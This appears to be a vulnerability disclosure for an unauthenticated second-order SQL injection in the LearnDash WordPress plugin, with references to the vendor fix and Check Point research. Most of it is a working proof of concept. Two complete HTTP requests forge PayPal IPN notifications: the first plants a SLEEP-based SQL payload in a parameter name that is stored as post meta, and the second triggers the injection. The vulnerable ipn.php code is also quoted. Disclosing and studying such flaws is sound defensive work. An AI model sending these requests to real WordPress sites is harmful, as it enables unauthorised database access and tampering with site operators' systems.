Information

The function learndash_get_course_groups (ld-groups.php) is vulnerable to Second-Order SQL Injection.
This method fails to sufficiently sanitize potentially user-supplied data (queried from the database) before using it in an SQL query.
This vulnerability can be triggered unauthenticated.

1 - Querying the database for user input.
2 - Using the result in an SQL query without sanitation.

This vulnerability can be reproduced using the following requests:

  1. This request will create a new WordPress post, which its ID will be logged to /wp-content/uploads/learndash/paypal_ipn/<date>.log (in my example, ID=488).
    POST /wordpress/?debug=1&sfwd-lms=paypal&learndash_group_enrolled_1)//OR//SLEEP(10)%23=1 HTTP/1.1
    Host: 192.168.147.133
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
    Accept-Encoding: gzip, deflate
    Accept-Language: en-US,en;q=0.9
    Cookie: XDEBUG_SESSION=XDEBUG_ECLIPSE
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 806
    payment_type=instant&payment_date=19%3A49%3A24%20Mar%2029%2C%202020%20PDT&payment_status=Completed&address_status=confirmed&payer_status=verified&first_name=John&last_name=Smith&payer_email=buyer@paypalsandbox.com&payer_id=TESTBUYERID01&address_name=John%20Smith&address_country=United%20States&address_country_code=US&address_zip=95131&address_state=CA&address_city=San%20Jose&address_street=123%20any%20street&business=seller@paypalsandbox.com&receiver_email=seller@paypalsandbox.com&receiver_id=seller@paypalsandbox.com&residence_country=US&item_name=something&item_number=1&quantity=1&shipping=3.04&tax=2.02&mc_currency=USD&mc_fee=0.44&mc_gross=12.34&mc_gross_1=9.34&txn_type=web_accept&txn_id=510156268&notify_version=2.1&test_ipn=1&verify_sign=AtkxGOMBgzIKD-askqIILj-05-JLApSHEuaclQOQKDfCmIdraVDVBx2V

  2. This request will trigger the vulnerability, calling learndash_get_course_groups with $course_id=488
    POST /wordpress/?debug=1&sfwd-lms=paypal HTTP/1.1
    Host: 192.168.147.133
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
    Accept-Encoding: gzip, deflate
    Accept-Language: en-US,en;q=0.9
    Cookie: XDEBUG_SESSION=XDEBUG_ECLIPSE
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 824
    payment_type=instant&payment_date=09%3A43%3A30%20Mar%2030%2C%202020%20PDT&payment_status=Completed&address_status=confirmed&payer_status=verified&first_name=John&last_name=Smith&payer_email=buyer@paypalsandbox.com&payer_id=TESTBUYERID01&address_name=John%20Smith&address_country=United%20States&address_country_code=US&address_zip=95131&address_state=CA&address_city=San%20Jose&address_street=123%20any%20street&business=seller@paypalsandbox.com&receiver_email=seller@paypalsandbox.com&receiver_id=seller@paypalsandbox.com&residence_country=US&item_name=something&item_number=488&quantity=1&shipping=3.04&tax=2.02&mc_currency=USD&mc_fee=0.44&mc_gross=12.34&mc_gross_1=9.34&txn_type=web_accept&txn_id=318528515&notify_version=2.1&invoice=abc1234&test_ipn=1&verify_sign=Ay.FrqnynywlvnJzT..BnAYEqZvbAOF539B6XvjXhvPEUzNPhUm4yW1C
    The first request will create a WordPress post with a meta_key of learndash_group_enrolled_1)/**/OR/**/SLEEP(10)#, caused by the following lines in ipn.php:
    …snip
    // log transaction
    ld_ipn_debug( ‘Starting Transaction Creation.’ );
    $transaction = $_REQUEST; // <— controlled input!
    $transaction[‘user_id’] = $user_id;
    $transaction[‘course_id’] = $course_id; // <— controlled input!
    $transaction[‘log_file’] = basename($ipn_log_filename);
    $course_title = ‘’;
    $course = get_post( $course_id );
    if ( ! empty( $course) ) {
    $course_title = $course->post_title;
    }
    ld_ipn_debug( ‘Course Title: ‘ . $course_title );
    $post_id = wp_insert_post( array(‘post_title’ => “Course {$course_title} Purchased By {$email}”, ‘post_type’ => ‘sfwd-transactions’, ‘post_status’ => ‘publish’, ‘post_author’ => $user_id) );
    ld_ipn_debug( ‘Created Transaction. Post Id: ‘ . $post_id );
    foreach ( $transaction as $k => $v ) {
    update_post_meta( $post_id, $k, $v ); // <— this will create the malicious post meta that will later be queried and used in another SQL query.
    }

This vulnerability works in both PayPal Sandbox mode ON and OFF



References:
https://learndash.releasenotes.io/release/YBfaq-version-316, https://research.checkpoint.com/2020/e-learning-platforms-getting-schooled-multiple-vulnerabilities-in-wordpress-most-popular-learning-management-system-plugins